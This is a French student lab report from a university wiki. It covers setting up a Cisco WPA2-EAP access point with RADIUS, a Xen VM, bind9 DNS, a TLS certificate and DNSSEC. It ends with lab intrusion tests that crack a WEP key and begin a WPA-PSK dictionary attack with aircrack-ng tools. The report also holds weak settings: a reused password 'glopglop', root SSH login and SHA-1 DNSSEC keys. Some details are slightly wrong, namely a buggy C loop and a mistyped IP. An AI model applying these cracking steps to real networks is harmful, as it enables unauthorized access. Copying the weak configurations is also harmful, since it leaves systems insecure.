Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54718</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54718"/>
				<updated>2020-12-15T16:17:35Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Sécurisation de site web par certificat */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est de sécuriser www.lulya.space.&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.&lt;br /&gt;
&lt;br /&gt;
En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.&lt;br /&gt;
&lt;br /&gt;
  nano /etc/aliases&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
  newaliases /etc/aliases&lt;br /&gt;
J'envoie un nouveau mail mais à admin&lt;br /&gt;
Grâce à mailx, on voit le mail, c'est mon certificat&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
